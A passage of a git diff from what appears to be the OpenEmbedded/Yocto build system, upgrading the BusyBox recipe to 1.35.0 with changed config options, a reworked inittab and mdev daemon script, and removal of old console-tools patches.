# CONFIG_UBIATTACH is not set
# CONFIG_UBIDETACH is not set
# CONFIG_UBIMKVOL is not set
# CONFIG_UBIRMVOL is not set
# CONFIG_UBIRSVOL is not set
# CONFIG_UBIUPDATEVOL is not set
+# CONFIG_UBIRENAME is not set
# CONFIG_VOLNAME is not set
# CONFIG_WATCHDOG is not set
+# CONFIG_FEATURE_WATCHDOG_OPEN_TWICE is not set
#
# Networking Utilities
@@ -836,6 +855,9 @@ CONFIG_FEATURE_IPV6=y
# CONFIG_FEATURE_UNIX_LOCAL is not set
CONFIG_FEATURE_PREFER_IPV4_ADDRESS=y
# CONFIG_VERBOSE_RESOLUTION_ERRORS is not set
+# CONFIG_FEATURE_ETC_NETWORKS is not set
+# CONFIG_FEATURE_ETC_SERVICES is not set
+CONFIG_FEATURE_HWIB=y
# CONFIG_FEATURE_TLS_SHA1 is not set
# CONFIG_ARP is not set
# CONFIG_ARPING is not set
@@ -865,6 +887,10 @@ CONFIG_DNSDOMAINNAME=y
# CONFIG_FEATURE_HTTPD_ERROR_PAGES is not set
# CONFIG_FEATURE_HTTPD_PROXY is not set
# CONFIG_FEATURE_HTTPD_GZIP is not set
+# CONFIG_FEATURE_HTTPD_ETAG is not set
+# CONFIG_FEATURE_HTTPD_LAST_MODIFIED is not set
+# CONFIG_FEATURE_HTTPD_DATE is not set
+# CONFIG_FEATURE_HTTPD_ACL_IP is not set
CONFIG_IFCONFIG=y
CONFIG_FEATURE_IFCONFIG_STATUS=y
# CONFIG_FEATURE_IFCONFIG_SLIP is not set
@@ -945,6 +971,7 @@ CONFIG_FEATURE_TELNET_WIDTH=y
# CONFIG_FEATURE_TELNETD_INETD_WAIT is not set
CONFIG_TFTP=y
# CONFIG_FEATURE_TFTP_PROGRESS_BAR is not set
+CONFIG_FEATURE_TFTP_HPA_COMPAT=y
# CONFIG_TFTPD is not set
CONFIG_FEATURE_TFTP_GET=y
CONFIG_FEATURE_TFTP_PUT=y
@@ -961,6 +988,7 @@ CONFIG_TRACEROUTE=y
CONFIG_WGET=y
CONFIG_FEATURE_WGET_LONG_OPTIONS=y
CONFIG_FEATURE_WGET_STATUSBAR=y
+CONFIG_FEATURE_WGET_FTP=y
CONFIG_FEATURE_WGET_AUTHENTICATION=y
CONFIG_FEATURE_WGET_TIMEOUT=y
CONFIG_FEATURE_WGET_HTTPS=y
@@ -989,6 +1017,7 @@ CONFIG_UDHCPC_DEFAULT_SCRIPT="/usr/share/udhcpc/default.script"
# CONFIG_FEATURE_UDHCP_PORT is not set
CONFIG_UDHCP_DEBUG=0
CONFIG_UDHCPC_SLACK_FOR_BUGGY_SERVERS=80
+CONFIG_FEATURE_UDHCP_RFC3397=y
# CONFIG_FEATURE_UDHCP_8021Q is not set
CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="-R -b"
@@ -1002,17 +1031,19 @@ CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="-R -b"
#
# Mail Utilities
#
+CONFIG_FEATURE_MIME_CHARSET=""
# CONFIG_MAKEMIME is not set
# CONFIG_POPMAILDIR is not set
# CONFIG_FEATURE_POPMAILDIR_DELIVERY is not set
# CONFIG_REFORMIME is not set
# CONFIG_FEATURE_REFORMIME_COMPAT is not set
# CONFIG_SENDMAIL is not set
-CONFIG_FEATURE_MIME_CHARSET=""
#
# Process Utilities
#
+CONFIG_FEATURE_FAST_TOP=y
+# CONFIG_FEATURE_SHOW_THREADS is not set
CONFIG_FREE=y
CONFIG_FUSER=y
# CONFIG_IOSTAT is not set
@@ -1022,7 +1053,7 @@ CONFIG_KILLALL=y
# CONFIG_LSOF is not set
# CONFIG_MPSTAT is not set
# CONFIG_NMETER is not set
-# CONFIG_PGREP is not set
+CONFIG_PGREP=y
# CONFIG_PKILL is not set
CONFIG_PIDOF=y
# CONFIG_FEATURE_PIDOF_SINGLE is not set
@@ -1051,7 +1082,6 @@ CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS=y
CONFIG_UPTIME=y
# CONFIG_FEATURE_UPTIME_UTMP_SUPPORT is not set
CONFIG_WATCH=y
-# CONFIG_FEATURE_SHOW_THREADS is not set
#
# Runit Utilities
@@ -1092,6 +1122,7 @@ CONFIG_SH_IS_ASH=y
# CONFIG_BASH_IS_ASH is not set
# CONFIG_BASH_IS_HUSH is not set
CONFIG_BASH_IS_NONE=y
+CONFIG_SHELL_ASH=y
CONFIG_ASH=y
CONFIG_ASH_OPTIMIZE_FOR_SIZE=y
CONFIG_ASH_INTERNAL_GLOB=y
@@ -1112,10 +1143,11 @@ CONFIG_ASH_GETOPTS=y
CONFIG_ASH_CMDCMD=y
# CONFIG_CTTYHACK is not set
# CONFIG_HUSH is not set
+# CONFIG_SHELL_HUSH is not set
# CONFIG_HUSH_BASH_COMPAT is not set
# CONFIG_HUSH_BRACE_EXPANSION is not set
-# CONFIG_HUSH_LINENO_VAR is not set
# CONFIG_HUSH_BASH_SOURCE_CURDIR is not set
+# CONFIG_HUSH_LINENO_VAR is not set
# CONFIG_HUSH_INTERACTIVE is not set
# CONFIG_HUSH_SAVEHISTORY is not set
# CONFIG_HUSH_JOB is not set
@@ -1153,6 +1185,7 @@ CONFIG_ASH_CMDCMD=y
#
CONFIG_FEATURE_SH_MATH=y
# CONFIG_FEATURE_SH_MATH_64 is not set
+CONFIG_FEATURE_SH_MATH_BASE=y
CONFIG_FEATURE_SH_EXTRA_QUIET=y
# CONFIG_FEATURE_SH_STANDALONE is not set
# CONFIG_FEATURE_SH_NOFORK is not set
@@ -1170,14 +1203,15 @@ CONFIG_KLOGD=y
#
CONFIG_FEATURE_KLOGD_KLOGCTL=y
CONFIG_LOGGER=y
-# CONFIG_LOGREAD is not set
-# CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING is not set
-# CONFIG_SYSLOGD is not set
-# CONFIG_FEATURE_ROTATE_LOGFILE is not set
-# CONFIG_FEATURE_REMOTE_LOG is not set
-# CONFIG_FEATURE_SYSLOGD_DUP is not set
-# CONFIG_FEATURE_SYSLOGD_CFG is not set
-CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=0
-# CONFIG_FEATURE_IPC_SYSLOG is not set
-CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=0
-# CONFIG_FEATURE_KMSG_SYSLOG is not set
+CONFIG_LOGREAD=y
+CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING=y
+CONFIG_SYSLOGD=y
+CONFIG_FEATURE_ROTATE_LOGFILE=y
+CONFIG_FEATURE_REMOTE_LOG=y
+CONFIG_FEATURE_SYSLOGD_DUP=y
+CONFIG_FEATURE_SYSLOGD_CFG=y
+# CONFIG_FEATURE_SYSLOGD_PRECISE_TIMESTAMPS is not set
+CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=256
+CONFIG_FEATURE_IPC_SYSLOG=y
+CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=64
+CONFIG_FEATURE_KMSG_SYSLOG=y
diff --git a/meta/recipes-core/busybox/busybox/fail_on_no_media.patch b/meta/recipes-core/busybox/busybox/fail_on_no_media.patch
index 820acc2684..38db52538e 100644
--- a/meta/recipes-core/busybox/busybox/fail_on_no_media.patch
+++ b/meta/recipes-core/busybox/busybox/fail_on_no_media.patch
@@ -1,3 +1,8 @@
+From a35e79002d36cca3c272ba5625aec86d6b7a38a8 Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Tue, 9 Apr 2013 23:25:54 -0700
+Subject: [PATCH] busybox: fail on no media
+
Upstream-Status: Denied
[https://www.mail-archive.com/busybox@busybox.net/msg22354.html]
@@ -10,16 +15,18 @@ removed, but that would be harder to accomplish.
Signed-off-by: Saul Wold <sgw@linux.intel.com>
+---
+ util-linux/mount.c | 8 ++++++++
+ 1 file changed, 8 insertions(+)
-Index: busybox-1.20.2/util-linux/mount.c
-===================================================================
---- busybox-1.20.2.orig/util-linux/mount.c
-+++ busybox-1.20.2/util-linux/mount.c
-@@ -598,7 +598,13 @@ static int mount_it_now(struct mntent *m
- break;
+diff --git a/util-linux/mount.c b/util-linux/mount.c
+index 4e65b6b..9d7a566 100644
+--- a/util-linux/mount.c
++++ b/util-linux/mount.c
+@@ -746,6 +746,14 @@ static int mount_it_now(struct mntent *mp, unsigned long vfsflags, char *filtero
errno = errno_save;
}
--
+
+ /*
+ * Break if there is no media, no point retrying for all
+ * fs types since there is no media available
@@ -27,6 +34,7 @@ Index: busybox-1.20.2/util-linux/mount.c
+ if (rc == -1 && errno == ENOMEDIUM) {
+ bb_perror_msg_and_die("mounting %s on %s failed", mp->mnt_fsname, mp->mnt_dir);
+ }
- if (!rc || (vfsflags & MS_RDONLY) || (errno != EACCES && errno != EROFS))
- break;
- if (!(vfsflags & MS_SILENT))
++
+ // Should we retry read-only mount?
+ if (vfsflags & MS_RDONLY)
+ break; // no, already was tried
diff --git a/meta/recipes-core/busybox/busybox/longopts.cfg b/meta/recipes-core/busybox/busybox/longopts.cfg
new file mode 100644
index 0000000000..dcfab99919
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/longopts.cfg
@@ -0,0 +1,15 @@
+CONFIG_FEATURE_GUNZIP_LONG_OPTIONS=y
+CONFIG_FEATURE_GZIP_LONG_OPTIONS=y
+CONFIG_FEATURE_TAR_LONG_OPTIONS=y
+CONFIG_FEATURE_CHOWN_LONG_OPTIONS=y
+CONFIG_FEATURE_CP_LONG_OPTIONS=y
+CONFIG_FEATURE_INSTALL_LONG_OPTIONS=y
+CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS=y
+CONFIG_FEATURE_RUN_PARTS_LONG_OPTIONS=y
+CONFIG_FEATURE_START_STOP_DAEMON_LONG_OPTIONS=y
+CONFIG_FEATURE_DIFF_LONG_OPTIONS=y
+CONFIG_FEATURE_BC_LONG_OPTIONS=y
+CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS=y
+CONFIG_FEATURE_IPCALC_LONG_OPTIONS=y
+CONFIG_FEATURE_NSLOOKUP_LONG_OPTIONS=y
+CONFIG_FEATURE_WGET_LONG_OPTIONS=y
diff --git a/meta/recipes-core/busybox/busybox/mdev.cfg b/meta/recipes-core/busybox/busybox/mdev.cfg
index 6aefe90e43..143e6097cb 100644
--- a/meta/recipes-core/busybox/busybox/mdev.cfg
+++ b/meta/recipes-core/busybox/busybox/mdev.cfg
@@ -9,3 +9,5 @@ CONFIG_SETSID=y
CONFIG_CTTYHACK=y
CONFIG_FEATURE_SHADOWPASSWDS=y
+CONFIG_FEATURE_XARGS_SUPPORT_ZERO_TERM=y
+CONFIG_FEATURE_MDEV_DAEMON=y
diff --git a/meta/recipes-core/busybox/busybox/mount-via-label.cfg b/meta/recipes-core/busybox/busybox/mount-via-label.cfg
index 2fe7ab2e5f..5a285de7cd 100644
--- a/meta/recipes-core/busybox/busybox/mount-via-label.cfg
+++ b/meta/recipes-core/busybox/busybox/mount-via-label.cfg
@@ -1,9 +1,11 @@
CONFIG_BLKID=y
CONFIG_FEATURE_BLKID_TYPE=y
CONFIG_FEATURE_MOUNT_LABEL=y
+CONFIG_FEATURE_SWAPONOFF_LABEL=y
CONFIG_VOLUMEID=y
CONFIG_FEATURE_VOLUMEID_BTRFS=y
CONFIG_FEATURE_VOLUMEID_EXT=y
CONFIG_FEATURE_VOLUMEID_F2FS=y
CONFIG_FEATURE_VOLUMEID_FAT=y
CONFIG_FEATURE_VOLUMEID_SQUASHFS=y
+CONFIG_FEATURE_VOLUMEID_LINUXSWAP=y
diff --git a/meta/recipes-core/busybox/busybox/pgrep.cfg b/meta/recipes-core/busybox/busybox/pgrep.cfg
new file mode 100644
index 0000000000..775e487d60
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/pgrep.cfg
@@ -0,0 +1 @@
+CONFIG_PGREP=y
diff --git a/meta/recipes-core/busybox/busybox/rev.cfg b/meta/recipes-core/busybox/busybox/rev.cfg
new file mode 100644
index 0000000000..da008c30cd
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/rev.cfg
@@ -0,0 +1 @@
+CONFIG_REV=y
diff --git a/meta/recipes-core/busybox/busybox_1.31.0.bb b/meta/recipes-core/busybox/busybox_1.31.0.bb
deleted file mode 100644
index 34b1f2cc91..0000000000
--- a/meta/recipes-core/busybox/busybox_1.31.0.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-require busybox.inc
-
-SRC_URI = "http://www.busybox.net/downloads/busybox-${PV}.tar.bz2;name=tarball \
- file://busybox-udhcpc-no_deconfig.patch \
- file://find-touchscreen.sh \
- file://busybox-cron \
- file://busybox-httpd \
- file://busybox-udhcpd \
- file://default.script \
- file://simple.script \
- file://hwclock.sh \
- file://syslog \
- file://syslog-startup.conf \
- file://syslog.conf \
- file://busybox-syslog.default \
- file://mdev \
- file://mdev.conf \
- file://mdev-mount.sh \
- file://defconfig \
- file://busybox-syslog.service.in \
- file://busybox-klogd.service.in \
- file://fail_on_no_media.patch \
- file://run-ptest \
- file://inetd.conf \
- file://inetd \
- file://login-utilities.cfg \
- file://recognize_connmand.patch \
- file://busybox-cross-menuconfig.patch \
- file://0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch \
- file://mount-via-label.cfg \
- file://sha1sum.cfg \
- file://sha256sum.cfg \
- file://getopts.cfg \
- file://resize.cfg \
- ${@["", "file://init.cfg"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
- ${@["", "file://mdev.cfg"][(d.getVar('VIRTUAL-RUNTIME_dev_manager') == 'busybox-mdev')]} \
- file://syslog.cfg \
- file://unicode.cfg \
- file://rcS \
- file://rcK \
- file://makefile-libbb-race.patch \
- file://0001-testsuite-check-uudecode-before-using-it.patch \
- file://0001-testsuite-use-www.example.org-for-wget-test-cases.patch \
- file://0001-du-l-works-fix-to-use-145-instead-of-144.patch \
-"
-SRC_URI_append_libc-musl = " file://musl.cfg "
-
-SRC_URI[tarball.md5sum] = "cdba5d4458f944ceec5cdcf7c4914b69"
-SRC_URI[tarball.sha256sum] = "0e4925392fd9f3743cc517e031b68b012b24a63b0cf6c1ff03cce7bb3846cc99"
diff --git a/meta/recipes-core/busybox/busybox_1.35.0.bb b/meta/recipes-core/busybox/busybox_1.35.0.bb
new file mode 100644
index 0000000000..7ce1717046
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox_1.35.0.bb
@@ -0,0 +1,52 @@
+require busybox.inc
+
+SRC_URI = "https://busybox.net/downloads/busybox-${PV}.tar.bz2;name=tarball \
+ file://busybox-udhcpc-no_deconfig.patch \
+ file://find-touchscreen.sh \
+ file://busybox-cron \
+ file://busybox-httpd \
+ file://busybox-udhcpd \
+ file://default.script \
+ file://simple.script \
+ file://hwclock.sh \
+ file://syslog \
+ file://syslog-startup.conf \
+ file://syslog.conf \
+ file://busybox-syslog.default \
+ file://mdev \
+ file://mdev.conf \
+ file://mdev-mount.sh \
+ file://defconfig \
+ file://busybox-syslog.service.in \
+ file://busybox-klogd.service.in \
+ file://fail_on_no_media.patch \
+ file://run-ptest \
+ file://inetd.conf \
+ file://inetd \
+ file://login-utilities.cfg \
+ file://recognize_connmand.patch \
+ file://busybox-cross-menuconfig.patch \
+ file://mount-via-label.cfg \
+ file://sha1sum.cfg \
+ file://sha256sum.cfg \
+ file://getopts.cfg \
+ file://longopts.cfg \
+ file://resize.cfg \
+ ${@["", "file://init.cfg"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
+ ${@["", "file://rcS.default"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
+ ${@["", "file://mdev.cfg"][(d.getVar('VIRTUAL-RUNTIME_dev_manager') == 'busybox-mdev')]} \
+ file://syslog.cfg \
+ file://unicode.cfg \
+ file://rev.cfg \
+ file://pgrep.cfg \
+ file://rcS \
+ file://rcK \
+ file://makefile-libbb-race.patch \
+ file://0001-testsuite-check-uudecode-before-using-it.patch \
+ file://0001-testsuite-use-www.example.org-for-wget-test-cases.patch \
+ file://0001-du-l-works-fix-to-use-145-instead-of-144.patch \
+ file://0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch \
+ "
+SRC_URI:append:libc-musl = " file://musl.cfg "
+
+SRC_URI[tarball.sha256sum] = "faeeb244c35a348a334f4a59e44626ee870fb07b6884d68c10ae8bc19f83a694"
diff --git a/meta/recipes-core/busybox/files/inittab b/meta/recipes-core/busybox/files/inittab
index 2bc831c7c6..e8ec2ab68e 100644
--- a/meta/recipes-core/busybox/files/inittab
+++ b/meta/recipes-core/busybox/files/inittab
@@ -8,11 +8,17 @@
::sysinit:/bin/mkdir -p /dev/pts
::sysinit:/bin/mount -t devpts devpts /dev/pts
::sysinit:/bin/mount -a
-
+::sysinit:/sbin/swapon -a
+null::sysinit:/bin/ln -sf /proc/self/fd /dev/fd
+null::sysinit:/bin/ln -sf /proc/self/fd/0 /dev/stdin
+null::sysinit:/bin/ln -sf /proc/self/fd/1 /dev/stdout
+null::sysinit:/bin/ln -sf /proc/self/fd/2 /dev/stderr
+# set hostname
+null::sysinit:/bin/busybox hostname -F /etc/hostname
::sysinit:/etc/init.d/rcS
# Stuff to do before rebooting
-::ctrlaltdel:/sbin/reboot
+#::ctrlaltdel:/sbin/reboot
::shutdown:/etc/init.d/rcK
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
@@ -20,5 +26,3 @@
# Stuff to do when restarting the init process
::restart:/sbin/init
-# set hostname
-null::sysinit:/bin/busybox hostname -F /etc/hostname
diff --git a/meta/recipes-core/busybox/files/mdev b/meta/recipes-core/busybox/files/mdev
index 8c9c06e96c..2fbdfb073e 100755
--- a/meta/recipes-core/busybox/files/mdev
+++ b/meta/recipes-core/busybox/files/mdev
@@ -1,21 +1,43 @@
#!/bin/sh
-mount -t proc proc /proc
-mount -t sysfs sysfs /sys
-mount -t tmpfs tmpfs /dev -o size=64k,mode=0755
-mkdir /dev/pts /dev/shm
-chmod 777 /dev/shm
-mount -t devpts devpts /dev/pts
-touch /dev/mdev.seq
-#sysctl -w kernel.hotplug=/sbin/mdev
-echo "/sbin/mdev" > /proc/sys/kernel/hotplug
-mdev -s
-
#
-# We might have mounted something over /dev, see if /dev/initctl is there.
+# Run the mdev daemon
#
-if test ! -p /dev/initctl
-then
- rm -f /dev/initctl
- mknod -m 600 /dev/initctl p
-fi
+
+DAEMON="mdev"
+PIDFILE="/var/run/$DAEMON.pid"
+
+
+start() {
+ echo -n "Starting $DAEMON... "
+ start-stop-daemon -S -b -m -p $PIDFILE -x /sbin/mdev -- -df
+ [ $? -eq 0 ] && echo "OK" || echo "ERROR"
+
+ # coldplug modules
+ find /sys/ -name modalias -print0 | \
+ xargs -0 sort -u | \
+ tr '\n' '\0' | \
+ xargs -0 modprobe -abq
+}
+
+stop() {
+ echo -n "Stopping $DAEMON... "
+ start-stop-daemon -K -p $PIDFILE
+ [ $? -eq 0 ] && echo "OK" || echo "ERROR"
+}
+
+restart() {
+ stop
+ start
+}
+
+case "$1" in
+ start|stop|restart)
+ "$1"
+ ;;
+ *)
+ echo "Usage: $0 {start|stop|restart}"
+ exit 1
+esac
+
+exit $?
diff --git a/meta/recipes-core/busybox/files/rcS.default b/meta/recipes-core/busybox/files/rcS.default
new file mode 100644
index 0000000000..44c9747e34
--- /dev/null
+++ b/meta/recipes-core/busybox/files/rcS.default
@@ -0,0 +1,31 @@
+#
+# Defaults for the boot scripts in /etc/rcS.d
+#
+
+# Time files in /tmp are kept in days.
+TMPTIME=0
+# Set to yes if you want sulogin to be spawned on bootup
+SULOGIN=no
+# Set to no if you want to be able to login over telnet/rlogin
+# before system startup is complete (as soon as inetd is started)
+DELAYLOGIN=no
+# Assume that the BIOS clock is set to UTC time (recommended)
+UTC=yes
+# Set VERBOSE to "no" if you would like a more quiet bootup.
+VERBOSE=no
+# Set EDITMOTD to "no" if you don't want /etc/motd to be edited automatically
+EDITMOTD=no
+# Whether to fsck root on boot
+ENABLE_ROOTFS_FSCK=no
+# Set FSCKFIX to "yes" if you want to add "-y" to the fsck at startup.
+FSCKFIX=yes
+# Set TICKADJ to the correct tick value for this specific machine
+#TICKADJ=10000
+# Enable caching in populate-volatile.sh
+VOLATILE_ENABLE_CACHE=yes
+# Indicate whether the rootfs is intended to be read-only or not.
+# Setting ROOTFS_READ_ONLY to yes and rebooting will give you a read-only rootfs.
+# Normally you should not change this value.
+ROOTFS_READ_ONLY=no
+# Indicate init system type
+INIT_SYSTEM=busybox
diff --git a/meta/recipes-core/busybox/files/run-ptest b/meta/recipes-core/busybox/files/run-ptest
index b19e5b5343..76873c9de2 100644
--- a/meta/recipes-core/busybox/files/run-ptest
+++ b/meta/recipes-core/busybox/files/run-ptest
@@ -6,4 +6,4 @@ export PATH=$bindir/bin:$PATH
export SKIP_KNOWN_BUGS=1
cd testsuite || exit 1
-./runtest -v | sed -r 's/^(SKIPPED|UNTESTED):/SKIP:/'
+LANG=C.UTF-8 ./runtest -v | sed -r 's/^(SKIPPED|UNTESTED):/SKIP:/'
diff --git a/meta/recipes-core/busybox/files/simple.script b/meta/recipes-core/busybox/files/simple.script
index 6ed0293525..013440574d 100644
--- a/meta/recipes-core/busybox/files/simple.script
+++ b/meta/recipes-core/busybox/files/simple.script
@@ -28,7 +28,7 @@ case "$1" in
fi
if ! root_is_nfs ; then
if [ $have_bin_ip -eq 1 ]; then
- /SBIN_DIR/ip addr flush dev $interface
+ /SBIN_DIR/ip -4 addr flush dev $interface
/SBIN_DIR/ip link set dev $interface up
else
/SBIN_DIR/ifconfig $interface 0.0.0.0
@@ -59,7 +59,7 @@ case "$1" in
metric=10
for i in $router ; do
if [ $have_bin_ip -eq 1 ]; then
- /SBIN_DIR/ip route add default via $i metric $metric
+ /SBIN_DIR/ip route add default via $i metric $metric dev $interface
else
/SBIN_DIR/route add default gw $i dev $interface metric $metric 2>/dev/null
fi
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/0001-Cover-the-else-with-__GLIBC__.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/0001-Cover-the-else-with-__GLIBC__.patch
deleted file mode 100644
index ace4bf0a76..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/0001-Cover-the-else-with-__GLIBC__.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From b6a59b05f1fa514c6b387c9544bd63b1bfcf2eed Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 13 Jan 2016 05:38:29 +0000
-Subject: [PATCH] Cover the else with __GLIBC__
-
-Fixes build errors on musl/x86
-
-| In file included from
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/sysroots/qemux86/usr/include/asm/termios.h:1:0,
-| from
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/sysroots/qemux86/usr/include/linux/termios.h:5,
-| from
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/work/i586-oe-linux-musl/console-tools/0.3.2-r8/console-tools-0.3.2/vttools/resizecons.c:86:
-|
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/sysroots/qemux86/usr/include/asm-generic/termios.h:14:8:
-error: redefinition of 'struct winsize'
-| struct winsize {
-| ^
-| In file included from
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/sysroots/qemux86/usr/include/sys/ioctl.h:7:0,
-| from
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/work/i586-oe-linux-musl/console-tools/0.3.2-r8/console-tools-0.3.2/vttools/resizecons.c:81:
-|
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/sysroots/qemux86/usr/include/bits/ioctl.h:90:8:
-note: originally defined here
-| struct winsize {
-| ^
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- vttools/resizecons.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/vttools/resizecons.c b/vttools/resizecons.c
-index f0a7055..e8753b1 100644
---- a/vttools/resizecons.c
-+++ b/vttools/resizecons.c
-@@ -81,7 +81,7 @@
- #include <sys/ioctl.h>
- #if (__GNU_LIBRARY__ >= 6)
- # include <sys/perm.h>
--#else
-+#elif defined __GLIBC__
- # include <linux/types.h>
- # include <linux/termios.h>
- #endif
---
-2.7.0
-
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/0001-Fix-format-security-compilation-error.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/0001-Fix-format-security-compilation-error.patch
deleted file mode 100644
index 6e72ec665b..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/0001-Fix-format-security-compilation-error.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-Subject: Fix 'format-security' compilation error.
-
-Upstream-Status: Pending
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- kbdtools/kbd_mode.c | 6 +++---
- kbdtools/setmetamode.c | 2 +-
- 2 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/kbdtools/kbd_mode.c b/kbdtools/kbd_mode.c
-index 02dca38..8dbcd39 100644
---- a/kbdtools/kbd_mode.c
-+++ b/kbdtools/kbd_mode.c
-@@ -120,7 +120,7 @@ int main(int argc, char *argv[])
- /* report mode */
- if (ioctl(fd, KDGKBMODE, &mode))
- {
-- fprintf(stderr, progname);
-+ fprintf(stderr, "%s", progname);
- perror(_(": error reading keyboard mode\n"));
- exit(1);
- }
-@@ -151,7 +151,7 @@ int main(int argc, char *argv[])
- kbd_rep.period = rate;
- if (ioctl(fd, KDKBDREP, &kbd_rep))
- {
-- fprintf(stderr, progname);
-+ fprintf(stderr, "%s", progname);
- perror(_(": error setting keyboard repeat mode\n"));
- exit(1);
- }
-@@ -160,7 +160,7 @@ int main(int argc, char *argv[])
-
- if (ioctl(fd, KDSKBMODE, mode))
- {
-- fprintf(stderr, progname);
-+ fprintf(stderr, "%s", progname);
- perror(_(": error setting keyboard mode\n"));
- exit(1);
- }
-diff --git a/kbdtools/setmetamode.c b/kbdtools/setmetamode.c
-index 5bed945..0ba7676 100644
---- a/kbdtools/setmetamode.c
-+++ b/kbdtools/setmetamode.c
-@@ -42,7 +42,7 @@ void report(int meta)
- default:
- s = N_("Strange mode for Meta key?\n");
- }
-- printf(_(s));
-+ printf("%s", _(s));
- }
-
- struct meta
---
-2.8.3
-
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/0001-kbdtools-Include-sys-types.h-for-u_char-and-u_short-.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/0001-kbdtools-Include-sys-types.h-for-u_char-and-u_short-.patch
deleted file mode 100644
index 64b5b044dd..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/0001-kbdtools-Include-sys-types.h-for-u_char-and-u_short-.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 0fd5dda51d68e1ec2a87e27b5ed0dff3503b4681 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 08:12:38 +0000
-Subject: [PATCH] kbdtools: Include sys/types.h for u_char and u_short
- definition
-
-on musl this gets exposed since sys/types.h is not
-included via some other indirect inclusion as is the case with glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- kbdtools/dumpkeys.c | 1 +
- kbdtools/loadkeys.y | 1 +
- 2 files changed, 2 insertions(+)
-
-diff --git a/kbdtools/dumpkeys.c b/kbdtools/dumpkeys.c
-index 6159d49..c19fb21 100644
---- a/kbdtools/dumpkeys.c
-+++ b/kbdtools/dumpkeys.c
-@@ -26,6 +26,7 @@
- #include <errno.h>
- #include <sysexits.h>
- #include <sys/ioctl.h>
-+#include <sys/types.h>
- #include <linux/types.h>
- #include <linux/kd.h>
- #include <linux/keyboard.h>
-diff --git a/kbdtools/loadkeys.y b/kbdtools/loadkeys.y
-index b6a8e01..4468f77 100644
---- a/kbdtools/loadkeys.y
-+++ b/kbdtools/loadkeys.y
-@@ -71,6 +71,7 @@
- #include <linux/kd.h>
- #include <linux/keyboard.h>
- #include <sys/ioctl.h>
-+#include <sys/types.h>
- #include <ctype.h>
- #include <sysexits.h>
- #include <signal.h>
---
-2.6.4
-
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/Makevars b/meta/recipes-core/console-tools/console-tools-0.3.2/Makevars
deleted file mode 100644
index 32692ab4b9..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/Makevars
+++ /dev/null
@@ -1,41 +0,0 @@
-# Makefile variables for PO directory in any package using GNU gettext.
-
-# Usually the message domain is the same as the package name.
-DOMAIN = $(PACKAGE)
-
-# These two variables depend on the location of this directory.
-subdir = po
-top_builddir = ..
-
-# These options get passed to xgettext.
-XGETTEXT_OPTIONS = --keyword=_ --keyword=N_
-
-# This is the copyright holder that gets inserted into the header of the
-# $(DOMAIN).pot file. Set this to the copyright holder of the surrounding
-# package. (Note that the msgstr strings, extracted from the package's
-# sources, belong to the copyright holder of the package.) Translators are
-# expected to transfer the copyright for their translations to this person
-# or entity, or to disclaim their copyright. The empty string stands for
-# the public domain; in this case the translators are expected to disclaim
-# their copyright.
-COPYRIGHT_HOLDER = Free Software Foundation, Inc.
-
-# This is the email address or URL to which the translators shall report
-# bugs in the untranslated strings:
-# - Strings which are not entire sentences, see the maintainer guidelines
-# in the GNU gettext documentation, section 'Preparing Strings'.
-# - Strings which use unclear terms or require additional context to be
-# understood.
-# - Strings which make invalid assumptions about notation of date, time or
-# money.
-# - Pluralisation problems.
-# - Incorrect English spelling.
-# - Incorrect formatting.
-# It can be your email address, or a mailing list address where translators
-# can write to without being subscribed, or the URL of a web page through
-# which the translators can contact you.
